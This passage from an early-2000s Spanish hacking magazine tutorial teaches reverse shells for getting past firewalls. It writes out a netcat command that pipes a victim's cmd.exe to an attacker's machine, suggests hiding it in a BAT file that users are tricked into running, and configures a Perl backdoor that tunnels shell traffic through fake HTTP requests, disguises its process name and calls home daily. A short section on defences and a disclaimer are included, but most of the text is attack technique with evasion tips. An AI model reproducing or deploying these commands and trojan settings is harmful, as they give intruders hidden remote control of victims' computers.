             herramienta) que LLAME A MI EQUIPO                   Ahora tenemos dos consolas abiertas con el netcat
             ATACANTE (y no al revés) y me suministre una         escuchando en un puerto distinto en cada una de
             interfaz de comandos. Esto es lo que se conoce       ellas: el puerto 80 en la primera y el puerto 443 en
             con el nombre de "Reverse Shell".                    la segunda.


Página 32                                                                                                 PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            En la maquina víctima se deberá escribir el siguiente   nuestra máquina atacante al puerto 443, donde
            comando:                                                tenemos escuchando nuestro segundo netcat
                                                                    abierto en nuestra segunda consola, en la
            nc 192.168.100.100 80 | cmd.exe | nc                    maquina atacante.
            192.168.100.100 443

                                                                    En resumen, desde el punto de vista de nuestra
  !            Esta secuencia...                                    máquina atacante tendremos que ejecutamos
                                                                    comandos en una consola y observamos su
                                                                    salida en la otra.
  Esta secuencia podría ser ejecutada por un fichero BAT (o
  en cualquier otro lenguaje) oculto o usando cualquiera de
                                                                    Desde el punto de vista de la máquina víctima
  las técnicas habituales que hacen que un usuario ejecute
                                                                    ejecutará comandos mediante una conexión
  algo que no debe sin saberlo...
                                                                    que comenzó ella dirigida al puerto 80 de una
                                                                    máquina externa y devolverá la salida a través
                                                                    de otra conexión que comenzó ella dirigida al
            Bueno, venga
                                                                    puerto 443 de una máquina externa... Ambas
                                                                    conexiones permitidas por el firewall.
            ¿Qué estamos diciendo aquí? Veamos:
            a) nc 192.168.100.100 80: Comenzamos
            una conexión con el netcat desde la máquina
                                                                                                       exión al puerto 80 del atacante
            víctima a nuestra máquina exterior, dirigida al                                     1) Con
                                                                                                   2) Introducción de comandos
            puerto 80 (puerto permitido por el cortafuegos)
            b) | cmd.exe: Con un "pipe" (|) dirigimos la
                                                                        Pc                                                                                      Pc
            salida del comando anterior al programa
                                                                      Víctima     IP:10.20.30.40 (por ejemplo)
                                                                                                                                                             Atacante
            cmd.exe. En UNIX (o Linux) sustituir cmd.exe                                                                              IP:192.198.100.100
                                                                                Puerto: el que asigne el sistema                     Escuchando puerto 80
            por /bin/sh
            c) | nc 192.168.100.100 443: Con un nuevo                                  3)      Pasa comando
            "pipe" (|) dirigimos la salida del comando                                   CMD.EXE 4) Procesar el comando
            anterior (cmd.exe) al netcat, pero esta vez                                5)     Pasa respuesta
            apuntando a nuestra máquina exterior al puerto
            443 (otro puerto permitido).                                                 IP:10.20.30.40                                IP:192.198.100.100
                                                                                Puerto: el que asigne el sistema                     Escuchando puerto 443
            El resultado de esto es claro. La máquina
            víctima se conecta con nosotros a través del                                                     6) Envio de respuesta
            puerto 80. En la primera consola de nuestra
            maquina atacante capturaremos esa conexión
            y podremos escribir los comandos que                    ¿Qué tenemos? Obviamente una interfaz de
            queramos ejecutar (por ejemplo "dir c:")               comandos con una máquina víctima que está
                                                                    detrás de un firewall de filtrado de paquetes
            Este comando se reenviará al programa                   que no nos permitía conectarnos desde el
            cmd.exe de la máquina víctima (dado que es              exterior a ninguna máquina del interior.
            la salida de su primer netcat), que lo ejecutará.
                                                                    Seguro que algún espabilado ya se ha dado
            A continuación, el resultado se enviará al              cuenta de que este método funciona
            segundo netcat de la máquina víctima, a través          exactamente igual con máquinas detrás de un
            del "pipe" (|), quien a su vez lo dirigirá a            router que no tienen ningún puerto redirigido


PC PASO A PASO Nº 8                                                                                                                                  Página 33
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            hacia máquinas internas... ¿Os suena de         nc -vv -l -p 80 (Obteniendo la imagen anterior)
            algo? ;-)

                                                               !             Entendamos...
  !           En el caso de...
                                                               Entendamos eso de nc -vv -l -p 80
 En el caso de que no dispongamos del netcat instalado en      * la opción -vv, por decirlo de forma rápida y sencilla, nos
 la máquina víctima podremos conseguir el mismo resultado      permitirá obtener más información por pantalla de lo que
 mediante el programa telnet.                                  está pasando.
                                                               * la opción -l le indica al netcat que debe quedarse
                                                               escuchando conexiones entrantes.
            3.- SEGUNDO ESCENARIO PASO A                       * la opción -p 80 le indica al netcat en qué puerto debe
            PASO Y EN TU PC                                    quedarse escuchando, en este caso el puerto 80.

            Todo lo explicado PUEDES PROBARLO EN TU
            PC haciendo tu mismo de atacante y víctima.
                                                            3.2 Activando la Segunda Consola

            3.1 Activando la Primera consola.
                                                            - Abrimos otra Ventana de Comandos, nos
                                                            vamos al directorio del netcat y ejecutamos la
            - Te creas una carpeta llamada nc7 (o el
                                                            orden
            nombre que quieras) en tu disco C y metes
            dentro el netcat (puedes "coger" el netcat de
                                                            nc -vv -l -p 443
            nuestra Web: www.hackxcrack.com, no olvides
            descomprimirlo ;p).
                                                            Es idéntica a la anterior salvo que esta vez se
            - Abres una Ventana de Comandos (esto ya lo
                                                            queda escuchando el puerto 443.
            explicamos una y mil veces en anteriores
            números) y te metes en el directorio donde
                                                            Con esto ya tenemos
            acabas de poner el netcat (c:nc7 en nuestro
                                                            la parte "atacante"
            caso)
                                                            preparada :), ahora
                                                            vamos a "trabajarnos"
                                                            a la víctima ;)

                                                            3.3 Creamos un fichero BAT que ejecute
                                                            la "orden"
                                                            nc 127.0.0.1 80 | cmd.exe | nc 127.0.0.1
                                                            443 y, para quien no tenga ni idea de lo que
                                                            es un fichero BAT :(… pues venga…
                                                            * abrimos nuestro Bloc de Notas (o cualquier
                                                            otro editor de texto PLANO)
                                                            * escribimos la orden nc 127.0.0.1 80 |
                                                            cmd.exe | nc 127.0.0.1 443 y lo guardamos
                                                            en el directorio donde tenemos el netcat (en
            cd c:nc7
                                                            c:nc7) con el nombre que quieras, nosotros
            e introduces el comando para obtener La         lo hemos llamado "lanza.txt"
            Primera Consola.                                Por cierto, para quien no sepa cómo se introduce


Página 34                                                                                          PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




          esa barra vertical (no te quejarás no…) pues        de arriba a la izquierda e introduce un comando,
          pulsas la tecla [Alt Gr] + la tecla 1… pero         por ejemplo el comando dir c:. Inmediatamente
          hombre, la del teclado numérico NO!!!, por          obtendrás en la Ventana de Comandos de arriba
          favor, pulsa la tecla 1 de toda la vida!!! (si te   a la derecha el listado de archivos del disco C:
          da vergüenza leer esto, imagina lo que siento
          yo al escribirlo ;p)
          * Finalmente, le cambiamos la extensión al
          fichero lanza.txt transformándolo en lanza.bat
          ¿Cómo? ¿Qué dices? ¿Qué no puedes ver las
          extensiones TXT y BAT? NO!!!! NO!!!!!
          NO!!!!!!!!! Me niego a decirte cómo se activa
          la visualización de las extensiones en Windows…
          venga hombre, si realmente no lo sabes
          investiga un poquito y como último recurso
          pásate por el foro de Hack x Crack, acumula
          una buena dosis de valor y pregunta!!! :p
          * Ya está todo preparado para el gran momento.
          Inicia otra ventana de comandos (con esta ya
          van tres), ves al directorio del netcat (c:nc7)    No te cortes, introduce todos los comandos
          y ejecuta el fichero lanza.bat                      DOS en la Ventana de Comandos de arriba a
          Te aconsejo que tengas las tres Ventanas de         la izquierda y observa el resultado en la de
          Comando a la vista cuando lo hagas ;p               arriba a la derecha ;p

                                                              4.-     SEGUNDO             ESCENARIO

                                                              Ahora supongamos que nuestro firewall dichoso
                                                              es aun más listo, y nuestro administrador más
                                                              espabilado. El firewall que tenemos NO SOLO
                                                              filtra los paquetes de forma que solo se puedan
                                                              dirigir desde/hacia determinadas IPs y/o puertos.
                                                              Además, es capaz de validar (mediante una
                                                              aplicación de tipo proxy o gateway, por ejemplo)
                                                              que el tipo de tráfico cursado cumple con unas
                                                              normas básicas de protocolos HTTP, SMTP y
                                                              POP (que son los servicios que permitíamos en
                                                              el ejemplo anterior).
          ¿Qué ha pasado? Bueno, creo que ya lo
          explicamos antes, pero por si acaso te has          Obviamente, nuestras sesiones netcat, con
          perdido :)                                          entrada/salida de comandos, no pasarían
          - Las dos ventanas de arriba son las que            desapercibidas a tan malévolo ingenio.
          tendrías en un ordenador (PC ATACANTE)              Detectaría que el tráfico cursado NO cumple el
          - La ventana de abajo sería la que tendrías en      protocolo HTTP (que define la forma en que
          la víctima (debidamente oculta, claro)              los navegadores piden páginas a los servidores
                                                              web, y la forma en que estos responden).
          Ahora, por si te quedan dudas de lo que hemos       Además, ese "peaso" de firewall deja un log
          conseguido, ves a la Ventana de Comandos            que el administrador revisará (ya hemos dicho

PC PASO A PASO Nº 8                                                                                               Página 35
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            que el tío es "espabilao") y tratará de tracear     ¿Por qué en Perl? Bueno, hay 3 poderosas
            nuestra conexión hacia atrás (y existen formas).    razones:
                                                                1.- Fue el lenguaje elegido por el autor original
            ¡Dios mío! ¡Esto es un infierno! Ahora si que       porque, según él, "le gusta el perl".
            nos han vencido... ¿Qué podemos hacer?              2.- A mi TAMBIÉN me gusta el perl.
            Tenemos dos opciones:                               3.- Nos introducirá en el conocimiento de la
                                                                existencia de un lenguaje de programación muy
            1.- Echarnos a llorar y dedicarnos a algo más       elegante, simple y potente.
            productivo como poner velas a San Clementino.
                                                                Para empezar, podemos hacer una breve
            2.- Crear (o buscar) un troyano que:                introducción al lenguaje perl.
            a) inicie la conexión desde el interior de la red
            hacia mi máquina, y no al revés.                    4.1 INCISO POÉTICO... EL
            b) Me suministre una interfaz de comandos.          LENGUAJE PERL.
            c) Lo haga emulando el protocolo HTTP.

                                                                ¿ Q u é e s P e r l ? ( E x t ra í d o d e " Pe r l
            Es decir, precisamos un "reverse shell" que
                                                                documentation" (documentación Perl)).
            simule que el tráfico cursado es HTTP (como
                                                                "Perl es un lenguaje de programación de alto
            si se estuviese navegando por un servidor web)
                                                                nivel de orientación ecléctica escrito por Larry
                                                                Wall y miles de colaboradores. Deriva del
            Pues bien... La opción 2 es la que eligió nuestro
                                                                lenguaje C y, en menor grado, de utilidades
            amigo Van Hauser, y la que trataré de explicar
                                                                como sed, awk, el shell de UNIX y una docena
            a continuación.
                                                                de otras herramientas y lenguajes. Las facilidades
                                                                de manipulación de texto, ficheros, procesos y
            Para ello, partiremos del programa que escribió
                                                                Bases de Datos que nos ofrece perl lo hacen
            tan renombrado miembro de THC: rwww-
                                                                particularmente útil para tareas relacionadas
            shell.pl. Pero usaremos una versión ligeramente
                                                                con el prototipado rápido, utilidades de sistema,
            retocada por mí para ilustrar dos cosas:
                                                                herramientas software, administración de
            1.- La sencillez y potencia del lenguaje perl.
                                                                sistemas, acceso a Base de Datos, programación
            2.- El límite a esta técnica lo pone solo la
                                                                gráfica, networking y programación de CGIs...
            imaginación.

            Existe una tercera razón. Cuando probé el
            programa me cortaba las salidas de ficheros
            grandes al hacer, por ejemplo, un cat de dichos
            ficheros (similar al type de windows). Por ello,
            y como quería ver los ficheros enteros, decidí
            incluir un par de modificaciones menores ;)


  !           Como expuse...

  Como expuse al principio, este programa está diseñado
  para correr en máquinas UNIX/Linux que tengan el perl
  instalado (la mayoría de ellas deberían tenerlo).


Página 36                                                                                             PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




          Como se puede deducir de esta definición, Perl
          es, fundamentalmente, un lenguaje de
          programación. Podríamos decir que es un
          lenguaje de programación que se compila en
          fase de ejecución (algunos prefieren el término
                                                             La explicación del lenguaje en sí escapa al
          "interpretado").
                                                             objetivo de este artículo. Existen cientos de
                                                             libros excelentes sobre el tema. Incluso existe
          La potencia de perl viene derivada de que, a
                                                             un CD de O'Reilly con 6 libros sobre Perl... Un
          pesar de ser un lenguaje de muy alto nivel,
                                                             CD excelente, si se me permite decirlo.
          que nos permite hacer de forma MUY fácil lo
          que en C nos costaría sudores, nos da un
                                                             ¿Cómo es un programa en Perl?
          elevado grado de control de funciones de bajo
                                                             Enseguida verás un ejemplo. Baste decir aquí
          nivel del sistema. No es, obviamente, tan
                                                             que un programa en perl tiene el aspecto de
          eficiente como C en términos de rendimiento...
                                                             un script (como los ficheros .bat de Windows
          Pero es mucho más eficiente en términos de
                                                             o los shell-script de UNIX). Necesita conocer
          productividad, dado que podemos programar
                                                             la ruta del intérprete (primera instrucción del
          mucho más rápidamente utilidades que hagan
                                                             script) si se desea ejecutar directamente, o se
          lo mismo.
                                                             puede ejecutar si llamamos al programa a
                                                             través del intérprete (p.ej.: mi_maquina$
          Es por ello que se ha hecho muy popular entre
                                                             /usr/bin/perl mi_programa.pl).
          Administradores de Sistemas (y entre
          programadores de CGIs, por qué no
          decirlo ;)).

          ¿Por qué debería perder tiempo
          aprendiendo Perl? En primer lugar... Porque
          NO es una pérdida de tiempo. Con Perl podrás       Por convención, Y SOLO por convención, se
          automatizar rápida y eficientemente tareas         suele poner la extensión .pl a todos los scripts
          rutinarias de administración. Podrás crear         perl... Pero esto NO es obligatorio.
          procesos por lotes tremendamente potentes
          de forma rápida. Es Open Source (no tienes         Perl puede parecer críptico, en un primer
          que pagar por el compilador/intérprete, ni por     acercamiento. De hecho, una experto
          las librerías ni por distribuirlo ni...). Podrás   programador perl utilizará muy pocas líneas
          programar potentes aplicaciones informáticas       de extraño aspecto para codificar un programa...
          orientadas al web, portables y escalables. Por     Pero no es mas críptico que C, por ejemplo.
          si todo esto fuese poco, si aprendes algo de       También es importante entender el concepto
          Perl... PODRÁS ENTENDER EL CÓDIGO DEL              y funcionamiento de las "expresiones regulares"
          PROGRAMA DESCRITO EN ESTE ARTÍCULO ;)              en perl, pues nos darán una potentísima
          ¿Te parece poco? :)                                herramienta de trabajo y programación.

          ¿Cómo puedo aprender e instalar Perl?              Y nada más. Hecho este inciso volvemos al
          Bueno... Mi recomendación es que visites en        tema que nos ocupa... "¿Podemos engañar al
          primer lugar CPAN (www.cpan.org) Desde allí        firewall ese de las narices?"
          podrás descargarte Perl, así como ver
          documentación y encontrar enlaces de               4.2 LA "MAGIA" DEL TROYANO.
          importancia.                                       Como se ha dicho, esto no es más que un

PC PASO A PASO Nº 8                                                                                             Página 37
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            intento de profundizar en un concepto. Este          "encriptado"... Ofuscado o codificado sería mas
            programa puede ser MUY mejorado para                correcto. Se utiliza el sistema de codificación
            resultar mucho más... útil. Pero creo que ilumina   Base 64, muy usado en comunicaciones web y
            lo que se trata de explicar en estas líneas.        que, por lo tanto, debería pasar desapercibido
                                                                a un observador casual que estuviese esnifando
            ¿Qué hace el troyano?                               la conexión. Desde luego, NO es un método de
            Este programa opera de forma muy simple. Se         encriptación como tal, aunque MS así lo hiciese
            trata de un único script escrito en Perl que se     creer en su día.
            usará en modo "slave" (en la máquina víctima)
            o en modo "master" (en la máquina atacante).
            Para ello solo se debe correr (ejecutar) el
                                                                   !            Sí quieres...
            programa indicando en la línea de comandos
            el parámetro slave o master.                           Si quieres saber más sobre BASE64, puedes empezar por
                                                                   esta Web: http://www25.brinkster.com/seninx/base64.asp.
            La operativa es simple:                                Entre otras cosas te ofrece el enlace a la RFC1113 y un
            El esclavo tratará de conectarse al maestro            codificador/decodificador ON-LINE ;)
            cada día a una hora concreta (si se especifica
            de esa forma). Una vez lograda la conexión la
            comunicación se establece de la siguiente
            manera... Veamos un ejemplo:

            Sentido: Slave -> master
            Contenido:              GET    /cgi-
            bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjF
            LdgxEdb1He7krj HTTP/1.0

            Algo así será lo primero que el esclavo envíe
            al maestro. Esta línea, emulando una petición
            normal HTTP en su versión 1.0, lo único que         A continuación el esclavo (slave) o máquina
            hace es enviar al "master" el prompt del shell      víctima enviaría de nuevo un GET con el listado
            del sistema remoto. Es decir, el master mostraría   del directorio actual que le hemos pedido
            el prompt de una consola shell remota normal        codificado en Base 64... Y así sucesivamente.
            y corriente (como si hubiésemos hecho un
            telnet).                                            ¿Qué tenemos? Pues una sesión interactiva en
                                                                modo comando con una máquina situada detrás
            Ahora el master debe responder (obviamente,         de un cortafuegos que, mediante una aplicación
            como en todo tráfico HTTP a una petición sigue      "gateway" o "proxy" permite que el tráfico de
            una respuesta)                                      peticiones sea sólo de tipo HTTP... Sin meterse
            Sentido: Master -> Slave                            demasiado en honduras.
            Contenido: g5mAlfbknz
                                                                El firewall vería al "slave" como si fuese un
            Esta respuesta no es más que un comando             usuario normal y corriente, "de carne y hueso",
            "ls" (como un "dir" de Windows) ejecutado           usando su navegador para hacer peticiones a
            desde el master.                                    un servidor web (navegar) y recibiendo las
                                                                respuestas de dicho servidor. En los logs se
            Como habréis visto, el tráfico circula              apreciaría EXACTAMENTE lo mismo, dado que

Página 38                                                                                           PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




          son "peticiones válidas" y "tráfico permitido"      !list : Muestra una lista con un identificador
          toda la comunicación pasaría sin problemas ni       único por cada slave conectado actualmente.
          alerta a través del sistema de seguridad que        !use <id>: Permite conmutar entre slaves. El
          montó este Administrador. En realidad, las          valor <id> debe ser sustituido por uno de los
          respuestas del "servidor web" serán los             identificadores únicos que nos muestra el
          comandos que deseamos ejecutar y las                comando !list.
          "peticiones del cliente" la salida (el resultado)
          de dichos comandos.                                 NOTA Para los que quieran "bucear" en el
                                                              programa...
          Pero... ¿Qué pasa si un administrador curioso       Tuve que modificar la parte del "master" por
          observa que hay conexiones a una página web         las razones que expuse antes:
          nueva o referenciada como IP o, simplemente,        a) para que pudiese leer toda la información
          que no le suene?... ¿O si alguien os escanea        enviada (por el problema que tuve con los
          los puertos y trata de conectarse a vuestro         archivos de texto largos).
          puerto 80 donde escuchará el programa en            b) para introducir el concepto de "comandos
          modo master? Pues nada. Para eso se usa una         de control".
          variable de "clave" ($PASSWORD) que, de no
          ser encontrada por el master en la petición         Podréis comprobar que el acceso a sockets se
          provocará que se devuelva un mensaje de "esa        realiza de una forma distinta. En este caso
          página no se encuentra en este servidor" o el       decidí usar las funciones del módulo IO::Socket
          mensaje que prefiráis dar...                        para introducir una forma más cómoda de
                                                              manejar sockets que con las funciones del
          ¡ESO ES EXACTAMENTE LO QUE BUSCÁBAMOS!              módulo original Socket utilizadas por Van
          Increíble. Un firewall puede ser burlado para       Hauser...
          permitir la conexión remota...
                                                              Para los que quieran "tocar a fondo" el
          Modificaciones "autóctonas".                        código (sugerencias)...
          Como dije, introduje algunas modificaciones         Cuando me planteé este artículo pensé en
          (muy pequeñas) en el programa de Van Hauser.        incluir un conjunto más amplio de opciones
          En primer lugar... Originalmente, solo permitía     dentro del programa, pero no lo hice por dos
          UN SLAVE cada vez. Ahora puede haber tantos         razones:
           como se desee...                                   a) La falta de tiempo.
                                                              b) No era necesario para ilustrar el concepto.
          También he incluido una opción de "logging"
          que permite enviar una sesión a un fichero log,     Sin embargo, una vez incluido el concepto de
          además de verla en pantalla.                        "comandos de control", hay una serie de ideas
                                                              que, como ejercicio, podrían resultar de interés.
          Además, he introducido el concepto de               Veamos algunas...
          "comando interactivo" en el programa. Esto
          es, se pueden ejecutar determinadas acciones        - Que el programa permita el intercambio de
          de CONTROL que NO serán ejecutadas como             ficheros entre la víctima y el atacante. "¿Puede
          si de un comando se tratase en la máquina           hacerse?" preguntareis... Pues se me ocurre
          atacante... Actualmente solo he implementado        que es prácticamente trivial. ¿Para que está el
          2, para demostrar el concepto (observar el !        formato MIME, por ejemplo? ;)
          delante del comando... Indica que se trata de       - Que el "master" devuelva una página HTML
          un comando de control):                             más compleja (y no el simple mensaje típico

PC PASO A PASO Nº 8                                                                                               Página 39
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            de 404 pagina no encontrada) cuando la petición      buscando conexiones a una misma IP a
            que recibimos no cumple las reglas de nuestro        intervalos "demasiado regulares" y desconfiar
            slave (y por lo tanto la está haciendo un            de ellos... Aunque si el atacante modifica
            desconocido). Esta página podría parecer que         regularmente la hora diaria a la que se ejecuta
            te pide autenticación para entrar en la "colección   el backdoor o dispone de varias IPs entre las
            de fotos familiares" o algo así (eso explicaría      que alternar no encontraremos un patrón
            el denso tráfico en las peticiones del cliente al    adecuado.
            servidor... podrían pasar por "uploads" ;)
            - También para el caso de peticiones "no             También podemos "esnifar" regularmente a la
            adecuadas" (que no vengan del slave), se             búsqueda de comunicaciones HTTP no
            podría "redirigir" el tráfico hacia un autentico     habituales (p.ej. en las que el cliente envía
            servidor web... Esto haría que pareciese "aún        mensajes muy largos en sus peticiones)... Pero
            más" que en nuestro puerto 80 hay un servidor        esto no deja de ser pesado y difícil de precisar,
            web, en el caso de que un administrador              podría ayudarnos a detectar un backdoor de
            quisiese entrar a "fisgonear" ;)                     estas características.
            - Incluir una capa SSL para el tráfico... (Adiós
            BASE 64. Hola querida encriptación ;) ).             También, hacernos con algún software que nos
                                                                 permita escanear regularmente los equipos de
            Todo esto haría de este "programa ejemplo"           nuestros usuarios en busca de programas o
            una curiosa herramienta de seguridad, más            archivos no instalados por nosotros podría
            potente y difícil de detectar... Y seguro que        ayudar... pero en el caso de tener muchos PCs
            vuestra calenturienta mente es capaz de              seguiría siendo una tarea de titanes (aunque
            imaginar más modificaciones... ¿no? Pues eso,        restrinjamos por "tipo de documento", este
            a practicar :)                                       programa podría tener cualquier extensión y
                                                                 es en texto plano). Herramientas como "tripwire"
            Y ahora... La gran pregunta: ¿Cómo                   podrían ser útiles en este contexto, al menos
            podemos protegernos de este tipo de                  para las máquinas más sensibles...
            ataques?
            La respuesta es complicada, dado que no existe       Buscar algún gateway que sea "más inteligente"
            una "varita mágica". Aunque el programa              y que pueda analizar el contenido de los
            original (rwww-shell) pueda ser detectado por        paquetes HTTP en busca de patrones... No
            antivirus, una modificación en el mismo bastará      conozco una herramienta así en estos
            para que no lo reconozcan.                           momentos, lo cual no quiere decir que "no
                                                                 exista", of course ;). Además, las herramientas
            Un proxy autenticado ayudará, pero no resolverá      analizadoras de contenido HTTP inciden en el
            el problema. El educar a nuestros usuarios es        rendimiento de nuestras conexiones web (los
            imprescindible a todas luces, aunque en el caso      usuarios notarán un descenso en la velocidad
            de que el que inyecta el backdoor trabaje en         de navegación). Como siempre, se debe valorar
            la casa no servirá de nada. Incluso algunos          la relación entre seguridad y operatividad según
            usuarios bien intencionados pasarán por alto         la dinámica de cada empresa concreta.
            nuestras recomendaciones ante un correo
            jugoso o un link interesante, confiando              Como muchas otras veces, lo único que
            plenamente en el antivirus (si lo tienen) para       podemos hacer es estar vigilantes, auditar con
            sentirse seguros.                                    regularidad nuestros sistemas y estar al loro
                                                                 ante herramientas nuevas que puedan surgir
            Podemos colocar un IDS y revisar los logs            en este aspecto (tanto de ataque como de

Página 40                                                                                             PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




          defensa)...                                          Configuración
                                                               La forma de configurar el programa es muy
          4.3. EL PROGRAMA EN SÍ MISMO.                        simple. Se debe editar, con cualquier editor de
          Bien, pasemos ahora al programa en sí. Antes         texto plano (no procesador de textos, OJO) y
          de nada un par de aclaraciones:                      poner los parámetros adecuados. Veamos como:

          1.- No puedo garantizar que funcione con todos       Las líneas que comienzan por el carácter "#"
          los cortafuegos ni con todos los proxys              son líneas de comentario, NO forman parte del
          y gateways HTTP. Funciona con los                    código. Y el programa no las tendrá en cuenta.
          que yo los he probado (no, no pienso decir           Es como si no estuviesen... Es una buena forma
          cuales ;)).                                          de habilitar o deshabilitar opciones. Si hay un
                                                               # delante de una variable, esa variable NO se
          2.- Vuelvo a insistir en la intención de             esta inicializando (es como si no existiese).
          "proof of concept" de este artículo y este
          programa. Que nadie espere un ejemplo de
          programación avanzada, ni la octava                  Sección de CONFIGURACIÓN GENERAL
          maravilla del mundo. De hecho, he respetado          # configuración general (Salvo para $MASK el
          el programa de Van Hauser tanto como he              #resto debe ser igual para el master y el slave
          podido... Eso incluye los "goto's" que el había      #en esta sección
          utilizado.                                           #
                                                               $MODE="POST";                  # GET or POST
          3.- De nuevo recalcar (ya se que soy pesado...       $CGI_PREFIX="/cgi-bin/orderform";# debe
          ¿qué pasa?) que este programa, así como este         #parecer un cgi válido...
          artículo, se han realizado con la idea de mejorar    $MASK="TROYANO_MALO";
          el conocimiento sobre como vuestros sistemas         # for masking the program's process name
          pueden ser atacados con el fin de que podáis         $PASSWORD="MIA";                  # anything,
          estar prevenidos. EN NINGUN caso animo,              #nothing you have to remember
          apoyo, realizo, comulgo ni colaboro con ningún       # (not a #real "password" anyway)
          tipo de acto delictivo. Allá cada uno con su
          conciencia...                                        a)       Primero vemos la línea $MODE. No
                                                               entraré en detalles sobre los métodos definidos
          Limitaciones                                         en HTTP para el intercambio de información
          El programa no funciona bien con comandos            con el usuario... Simplemente elegir GET o
          interactivos (como el vi, por ejemplo o el sqlplus   POST (Por defecto POST).
          de ORACLE). Se debe usar con comandos que            b)       Luego tenemos $CGI_PREFIX. Esta
          se ejecuten y terminen en una sola pasada,           cadena es la que se enviará en la solicitud
          sin pedir mas datos al usuario... Sin embargo,       (emulada) HTTP... Podéis poner lo que mas os
          esto no es un problema para aquellos de              guste, siempre que parezca que se hace
          vosotros que de verdad os empeñéis en hacer          referencia a un CGI que pudiera ser válido. Por
          algo. Por ejemplo, un sencillo archivo de            defecto "/cgi-bin/orderform", pero podría ser
          comandos en shell-script podrá interactuar con       /cgi-bin/mi_cgi.cgi
          cualquier programa que pida datos al usuario         c)       Luego el parámetro $MASK. Este es
          (si conocemos la secuencia de respuestas que         importante. Se trata del "nombre" con que
          deseamos dar) . Dicho script podrá después           aparecerá el programa al hacer un "ps" para
          ser ejecutado con el troyano sin problemas y         ver los procesos activos en la maquina víctima...
          capturar la salida ;)                                Lógicamente NO debería llamarse

PC PASO A PASO Nº 8                                                                                                Página 41
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




            TROYANO_MALO. Sería mejor algo como "lpd"          #$PROXY_PORT="3128"; # Puerto del proxy
            o "vi" o "/bin/sh/" o cualquier otro nombre que    #si lo hay...
            no resulte "cantoso" para un administrador ;)      #$PROXY_USER="user";         # Nombre del
            d)        Finalmente la variable $PASSWORD.        #usuario para autenticarse en el proxy (si se
            No es un password real. Se usa solamente           #requiere)
            para identificar que el intento de conexión se     #$PROXY_PASSWORD="pass";# password
            realiza desde el slave que nosotros colocamos,     #$DEBUG="yes";        # Solo para debugging
            y no se trata de un extraño tratando de ver        #$BROKEN_RECV="yes";          # Para AIX &
            que hay en el puerto 80 de nuestra maquina         #OpenBSD, NO para Linux ni Solaris
            atacante. Por defecto "MIA".
                                                               a) $SHELL. EL shell que deseamos ejecutar.
                                                               Normalmente será /bin/sh
            Sección de CONFIGURACION PARA EL MASTER            b) $DELAY. El tiempo que esperará el slave a
            # CONFIGURACION PARA EL MASTER                     que termine de ejecutarse un comando concreto
            #(Obligatoriamente deben llevarlo igual el         antes de enviar la salida al master. Es importante
            #master y el slave)                                notar que por defecto está en 2 segundos...
            #                                                  pero si vamos a ejecutar un script largo en la
            $LISTEN_PORT=80;         # Puerto en el que        máquina atacada o similar deberemos aumentar
            #escuchara (80 necesita permisos de root))         este tiempo para evitar problemas.
            $SERVER="www.mimaquina_atacante.com";              c) $TIME. Hora a la que el programa iniciará
            # EL host atacante... vale IP o nombre DNS)        la conexión. Si se omite (o se comenta como
                                                               está por defecto) el programa slave tratará de
            a) $LISTEN_PORT. En esta variable ponemos          iniciar la conexión al ejecutarlo.
            el puerto en el que el master estará a la          d) $DAILY. Importante... Si queremos que el
            escucha y al que al slave tratará de conectarse.   programa trate de conectarse todos los días
            Por defecto 80.                                    deberemos descomentar esta línea (por defecto
            b) $SERVER. La dirección IP o nombre DNS           comentada)... Lo hará a la hora especificada
            de nuestra máquina atacante (en la que             en $TIME, que deberá colocarse a un valor
            estamos corriendo el master).                      adecuado. Si no descomentamos esta línea, el
                                                               programa NO se conectará todos los días.
                                                               e) $PROXY ... $PROXY_PASSWORD: Variables
            Sección de CONFIGURACIÓN PARA EL SLAVE             importantes en caso de que la conexión al
            # CONFIGURACION DEL SLAVE (Solo importa            exterior desde la maquina atacada se realice
            #para el slave... El situado en la maquina         a través de un proxy... el usuario y el password
            #atacada)                                          se especificarán si dicho proxy es autenticado
            #                                                  f) $DEBUG. Saca en pantalla información sobre
            $SHELL="/bin/bash -i"; # Shell a ejecutar...       lo que va haciendo el programa... Solo durante
            $DELAY="2";             # Tiempo de espera         el tiempo de depuración (Es demasiado cantoso
            #para la salida tras los comandos...               sobre todo en el slave ;) )
            #$TIME="15:58";          # Hora de conexión        g) $BROKEN_RECV... Para solucionar un
            #al master (ahora mismo si no se especifica        problema con los AIX y OPENBSD en el manejo
            #una)                                              de sockets. No se necesita en otros UNIX (ni
            #$DAILY="yes";          # Intenta conectarse       en LINUX)
            #una vez al día si se especifica aquí
            #$PROXY="127.0.0.1";          # En caso de         Como vemos, el slave solo necesita
            #necesitar un proxy...                             OBLIGATORIAMENTE que definamos las

Página 42                                                                                            PC PASO A PASO Nº 8
REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl




          variables $SHELL y $DELAY para probarlo. El            etc. (no el word ni ningún "procesador" de
          resto son opcionales en función de lo que              textos).
          queramos hacer y de la tipología de la red (en
          el caso de las variables relacionadas con el           El nombre del programa puede ser el que os
          PROXY).                                                de la gana. Yo he decidido llamarlo rws.pl, para
                                                                 no confundirlo con el original de Van Hauser
          Y nada más. Una vez editadas estas líneas y            (rwww-shell.pl) y respetar la intención de su
          modificado el valor de las variables que debáis        nombre ("reverse-web-shell" o "shell inverso
          modificar (tal y como se ha explicado mas              vía web").
          arriba) solo deberéis ejecutar el programa en
